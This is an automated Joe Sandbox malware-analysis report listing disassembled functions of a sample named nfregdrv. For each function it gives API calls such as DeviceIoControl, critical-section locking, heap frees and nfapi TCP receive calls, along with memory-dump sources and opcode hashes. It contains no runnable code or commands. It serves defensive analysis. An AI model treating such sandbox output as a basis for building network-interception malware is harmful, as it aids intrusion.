                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter$ControlDeviceErrorLast
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 4103992608-0
                                                                                                                  • Opcode ID: 0c15b7dd3d47d1301ec5051b298948f62488c9d0a0b22cccd62178c255bc7e81
                                                                                                                  • Instruction ID: 069ed3d1de4671eec97c8a091bf5bc0cd7826cd6fef9fe84e4e00e0bd1a0d2d6
                                                                                                                  • Opcode Fuzzy Hash: 0c15b7dd3d47d1301ec5051b298948f62488c9d0a0b22cccd62178c255bc7e81
                                                                                                                  • Instruction Fuzzy Hash: 6B519B755183819FD320CB24C841B9BBBE8FF85750F408A1DF5998B291DB74E949CB93
                                                                                                                  Function 00403CA8 Relevance: 7.7, APIs: 5, Instructions: 158COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • getSystemCP.LIBCMT ref: 00403CC1
                                                                                                                    • Part of subcall function 00403C2E: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403C3B
                                                                                                                    • Part of subcall function 00403C2E: GetOEMCP.KERNEL32(00000000,?,00401DD5), ref: 00403C55
                                                                                                                  • setSBCS.LIBCMT ref: 00403CD3
                                                                                                                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409560), ref: 00403D19
                                                                                                                  • GetCPInfo.KERNEL32(00000000,0040402B), ref: 00403D2C
                                                                                                                  • setSBUpLow.LIBCMT ref: 00403E17
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Locale$CodeInfoPageSystemUpdateUpdate::_Valid
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 364485666-0
                                                                                                                  • Opcode ID: f8562f73fbf6c12a93af662bf149bbf5becb5a351e9a22bc92b3aca215f4718f
                                                                                                                  • Instruction ID: 7ec157c4a63f4bee73c0373c95dbc61b6731b50ec73e293603ddc6fd57e301c6
                                                                                                                  • Opcode Fuzzy Hash: f8562f73fbf6c12a93af662bf149bbf5becb5a351e9a22bc92b3aca215f4718f
                                                                                                                  • Instruction Fuzzy Hash: 8451E5719042549BDB15DF29C8806BABFA8EF05306F14817BD885BB2C2D63CDA46CBD9
                                                                                                                  Function 10016860 Relevance: 7.6, APIs: 5, Instructions: 111COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetTickCount.KERNEL32 ref: 10016897
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 100168B8
                                                                                                                  • ?nf_tcpPostReceive@nfapi@@YA?AW4_NF_STATUS@@_KPBDH@Z.NFAPI(?,?,00000000,00000000), ref: 10016931
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10016948
                                                                                                                  • SetEvent.KERNEL32(?), ref: 100169C9
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$?nf_tcpCountEnterEventLeavePostReceive@nfapi@@S@@_Tick
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2201467506-0
                                                                                                                  • Opcode ID: 3b8d782bd27df50b16dfc65a62725b0131aeeeb5184073b4607cf5be4256a305
                                                                                                                  • Instruction ID: 742bec59b4eacf5a62cee880053408559a72dd2c9328244c4bf56ef4399b46ed
                                                                                                                  • Opcode Fuzzy Hash: 3b8d782bd27df50b16dfc65a62725b0131aeeeb5184073b4607cf5be4256a305
                                                                                                                  • Instruction Fuzzy Hash: E0418B709087819FE310CF24CC84A6ABBEAFB88754F50491DF8D68B651D735ED858B42
                                                                                                                  Function 10013D10 Relevance: 7.6, APIs: 5, Instructions: 90COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168), ref: 10013D19
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10013D47
                                                                                                                  • _malloc.LIBCMT ref: 10013D52
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168), ref: 10013D99
                                                                                                                  • _memset.LIBCMT ref: 10013DAC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter_malloc_memset
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 923394041-0
                                                                                                                  • Opcode ID: d2436b13b8ff33d81ad853f571cd7b4f84e6fc360ee8814cc5edca94589bfc8a
                                                                                                                  • Instruction ID: 7167e3c78dd255bc3be61e05a3690e11657a4ad0a516055890c14454ff31153c
                                                                                                                  • Opcode Fuzzy Hash: d2436b13b8ff33d81ad853f571cd7b4f84e6fc360ee8814cc5edca94589bfc8a
                                                                                                                  • Instruction Fuzzy Hash: D4319CB15013018FE749CF18ECC1A567BA5FF98304B2582AEE8099F366DB31E959CF90
                                                                                                                  Function 10014090 Relevance: 7.6, APIs: 5, Instructions: 73COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014096
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100140AA
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,00000000,?,0000025B,00000000,00000000,?,00000000), ref: 10014137
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014147
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: c7db852ffef9afacecec687bb358ebba848a58d4b521bdcfc675cc6101f49ccd
                                                                                                                  • Instruction ID: 943a08fe69652d90c9d1f998fde71af210911f062dc05d4fd50d64c2a8c94902
                                                                                                                  • Opcode Fuzzy Hash: c7db852ffef9afacecec687bb358ebba848a58d4b521bdcfc675cc6101f49ccd
                                                                                                                  • Instruction Fuzzy Hash: BE110A76500210AFE705CB68DC89ADB33D9EF88760F118219F6128B1E1EF70DA84C690
                                                                                                                  Function 100162D0 Relevance: 7.6, APIs: 5, Instructions: 73COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100162DF
                                                                                                                  • __aullrem.LIBCMT ref: 100162F8
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,00000000,00000000), ref: 1001631E
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,00000000,00000000), ref: 10016346
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10016378
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter__aullrem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1392406986-0
                                                                                                                  • Opcode ID: a12b99a6437fde0b1fddeed73491248cb1b45896119e412d513d9bd3dbe0284c
                                                                                                                  • Instruction ID: 8b44c5907cacb563da89275e12a7b823dc438703cb38c6685e6cf52fab2f5aee
                                                                                                                  • Opcode Fuzzy Hash: a12b99a6437fde0b1fddeed73491248cb1b45896119e412d513d9bd3dbe0284c
                                                                                                                  • Instruction Fuzzy Hash: E3115B313002059FD700CB69EC88DAEB3DEEF89561B5581A5FD08CF292E732ED5083A0
                                                                                                                  Function 10014970 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001497F
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014993
                                                                                                                  • __aullrem.LIBCMT ref: 100149B8
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C,?,?,00000000,00000000), ref: 100149DE
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter__aullrem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1392406986-0
                                                                                                                  • Opcode ID: 2404607320ef2a75d0717d5302f9e8fa9c4f34ddd1540ab3d998488c8b00b57d
                                                                                                                  • Instruction ID: 4e2cb47ff58eaee26e2a48776ae77e93d28fc32bba7de68dc87d4d27a697fb70
                                                                                                                  • Opcode Fuzzy Hash: 2404607320ef2a75d0717d5302f9e8fa9c4f34ddd1540ab3d998488c8b00b57d
                                                                                                                  • Instruction Fuzzy Hash: 441104317002449FD310CB68EC88F9A77DAEF85671F524295FA588B2A2DB31DC848691
                                                                                                                  Function 100152E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 62COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100152EF
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015303
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10015321
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID: B
                                                                                                                  • API String ID: 2978645861-1255198513
                                                                                                                  • Opcode ID: d389180647d33e7fd7909b68b13a63dafe69a50724e4bfe4741239f59ea6ff70
                                                                                                                  • Instruction ID: 5862e67234fadea20cb6fb71e4dcca28f21175ac499c2c8a774871cc376374ad
                                                                                                                  • Opcode Fuzzy Hash: d389180647d33e7fd7909b68b13a63dafe69a50724e4bfe4741239f59ea6ff70
                                                                                                                  • Instruction Fuzzy Hash: C711C2327002188BDB01CF69ECC4599B7A5FF443B1B54826AFE2CCF292DB71D94486D0
                                                                                                                  Function 100144A0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100144A8
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100144EC
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201B4,?,00000014,00000000,00000000,00000000,00000000), ref: 10014513
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014522
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014533
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: a308096551d9751a7049de7f445834c6eeaff320b8b2092d6412a4f98500842a
                                                                                                                  • Instruction ID: a46a0420c4f18f8497baad094036f26d02c65c78e58f58d61c697df38c55562f
                                                                                                                  • Opcode Fuzzy Hash: a308096551d9751a7049de7f445834c6eeaff320b8b2092d6412a4f98500842a
                                                                                                                  • Instruction Fuzzy Hash: C7113C746147019FE304DF28DC85B5677E6FF88B21F81C64CF9598B2A2D770D908CA92
                                                                                                                  Function 100146D0 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100146D6
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100146EC
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201A4,?,00000010,?,00000004,?,00000000), ref: 1001471D
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014738
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: b6876661e5ff2c24c9972b30366f10f5fdaa2126c1ee03cc0ae946e3fb77ca8f
                                                                                                                  • Instruction ID: 2fba52e4ee8d058ba920c3b194ab9f094fa0f14e2d16636bf92fac5c4c939877
                                                                                                                  • Opcode Fuzzy Hash: b6876661e5ff2c24c9972b30366f10f5fdaa2126c1ee03cc0ae946e3fb77ca8f
                                                                                                                  • Instruction Fuzzy Hash: 7701D630715320AFE301CB24DC48BA633DAEF85B71F128609F6598B0E1CF70C984C6A1
                                                                                                                  Function 00404039 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __lock.LIBCMT ref: 00404057
                                                                                                                    • Part of subcall function 00402D12: __mtinitlocknum.LIBCMT ref: 00402D26
                                                                                                                    • Part of subcall function 00402D12: __amsg_exit.LIBCMT ref: 00402D32
                                                                                                                    • Part of subcall function 00402D12: EnterCriticalSection.KERNEL32(?,?,?,00405EA1,00000004,00409600,0000000C,0040411A,?,?,00000000,00000000,00000000,004024F8,00000001,00000214), ref: 00402D3A
                                                                                                                  • ___sbh_find_block.LIBCMT ref: 00404062
                                                                                                                  • ___sbh_free_block.LIBCMT ref: 00404071
                                                                                                                  • HeapFree.KERNEL32(00000000,?,00409580,0000000C,00402CF3,00000000,004094A0,0000000C,00402D2B,?,?,?,00405EA1,00000004,00409600,0000000C), ref: 004040A1
                                                                                                                  • GetLastError.KERNEL32(?,00405EA1,00000004,00409600,0000000C,0040411A,?,?,00000000,00000000,00000000,004024F8,00000001,00000214), ref: 004040B2
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2714421763-0
                                                                                                                  • Opcode ID: c53e33b7dcff97c89c7848c55f26829c9334c78826d435bd8598ab40913ee6d4
                                                                                                                  • Instruction ID: bb3a9ea6063299376b196d4342a46263de040b943687fa37fdfcb015542456c3
                                                                                                                  • Opcode Fuzzy Hash: c53e33b7dcff97c89c7848c55f26829c9334c78826d435bd8598ab40913ee6d4
                                                                                                                  • Instruction Fuzzy Hash: 540184B2941301AADB207BB29E0AB5E37649F80324F10423FF7047A2D2CB7C89449A9C
                                                                                                                  Function 10001210 Relevance: 7.5, APIs: 5, Instructions: 44synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 10001340: EnterCriticalSection.KERNEL32(?,?,?,?,100156AB), ref: 10001378
                                                                                                                    • Part of subcall function 10001340: LeaveCriticalSection.KERNEL32(10020350,?,?,?,?,?,?,?,100156AB), ref: 100013BF
                                                                                                                  • SetEvent.KERNEL32(?,9301D15D,?,?,?,1001885B,000000FF), ref: 1000124D
                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,1001885B,000000FF), ref: 10001266
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,1001885B,000000FF), ref: 10001273
                                                                                                                  • DeleteCriticalSection.KERNEL32(10020350,?,?,?,1001885B,000000FF), ref: 10001284
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,1001885B,000000FF), ref: 10001295
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$CloseHandle$DeleteEnterEventLeaveObjectSingleWait
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2474944948-0
                                                                                                                  • Opcode ID: 1e9d32bd37262b913d57dc8945bf0fb53b1a93de7becb73826e872e3e5311905
                                                                                                                  • Instruction ID: 64c5f76c38a82e9d846c98533c0514a9f92b4564d6453463f8853accf3b8306c
                                                                                                                  • Opcode Fuzzy Hash: 1e9d32bd37262b913d57dc8945bf0fb53b1a93de7becb73826e872e3e5311905
                                                                                                                  • Instruction Fuzzy Hash: E2015B71504760DFE750DF28CC88A4A77A9EB48730F608B09F439D76E1D734AA418B61
                                                                                                                  Function 10007B2F Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __lock.LIBCMT ref: 10007B4D
                                                                                                                    • Part of subcall function 10009513: __mtinitlocknum.LIBCMT ref: 10009527
                                                                                                                    • Part of subcall function 10009513: __amsg_exit.LIBCMT ref: 10009533
                                                                                                                    • Part of subcall function 10009513: EnterCriticalSection.KERNEL32(?,?,?,1000F77D,00000004,1001B950,0000000C,1000B1A8,?,?,00000000,00000000,00000000,1000AB20,00000001,00000214), ref: 1000953B
                                                                                                                  • ___sbh_find_block.LIBCMT ref: 10007B58
                                                                                                                  • ___sbh_free_block.LIBCMT ref: 10007B67
                                                                                                                  • HeapFree.KERNEL32(00000000,00000001,1001B588,0000000C,100094F4,00000000,1001B628,0000000C,1000952C,00000001,?,?,1000F77D,00000004,1001B950,0000000C), ref: 10007B97
                                                                                                                  • GetLastError.KERNEL32(?,1000F77D,00000004,1001B950,0000000C,1000B1A8,?,?,00000000,00000000,00000000,1000AB20,00000001,00000214), ref: 10007BA8
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2714421763-0
                                                                                                                  • Opcode ID: a001902257452df3a09ef7874541bacfe911b9a4d4b91542b9a5e470de5e31ec
                                                                                                                  • Instruction ID: 4bde7f342c64e4d2018f3ae2fc3c74ed1e6debbda6c59ac2aa0521a4ba985f47
                                                                                                                  • Opcode Fuzzy Hash: a001902257452df3a09ef7874541bacfe911b9a4d4b91542b9a5e470de5e31ec
                                                                                                                  • Instruction Fuzzy Hash: 8501D639C00715AAFB21DBB18C09B5E36A4FF003E1F204209F518A6098CF3CEA40CB65
                                                                                                                  Function 10014420 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014426
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001443C
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201B8,?,00000004,?,00000010,?,00000000), ref: 1001446F
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014484
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$ControlDeviceEnter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3744975357-0
                                                                                                                  • Opcode ID: d5d1587f7f7b2bd1b6f3903fe53ac465cdd8ad77325049dbc3963d326160d6bd
                                                                                                                  • Instruction ID: a8c769179fd60e2bf6cd89700ffbf8ba4d12cccd7724cdc3fecdfc68b2935979
                                                                                                                  • Opcode Fuzzy Hash: d5d1587f7f7b2bd1b6f3903fe53ac465cdd8ad77325049dbc3963d326160d6bd
                                                                                                                  • Instruction Fuzzy Hash: 58F03C74214311AFE314DBA49D84B6633DAEF88B61F628608F666C94E1DB70C884DA62
                                                                                                                  Function 10014540 Relevance: 7.5, APIs: 5, Instructions: 39COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 10014548
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014575
                                                                                                                  • DeviceIoControl.KERNEL32(FFFFFFFF,002201B0,?,0000000C,00000000,00000000,00000000,00000000), ref: 1001459C
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 100145AB
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
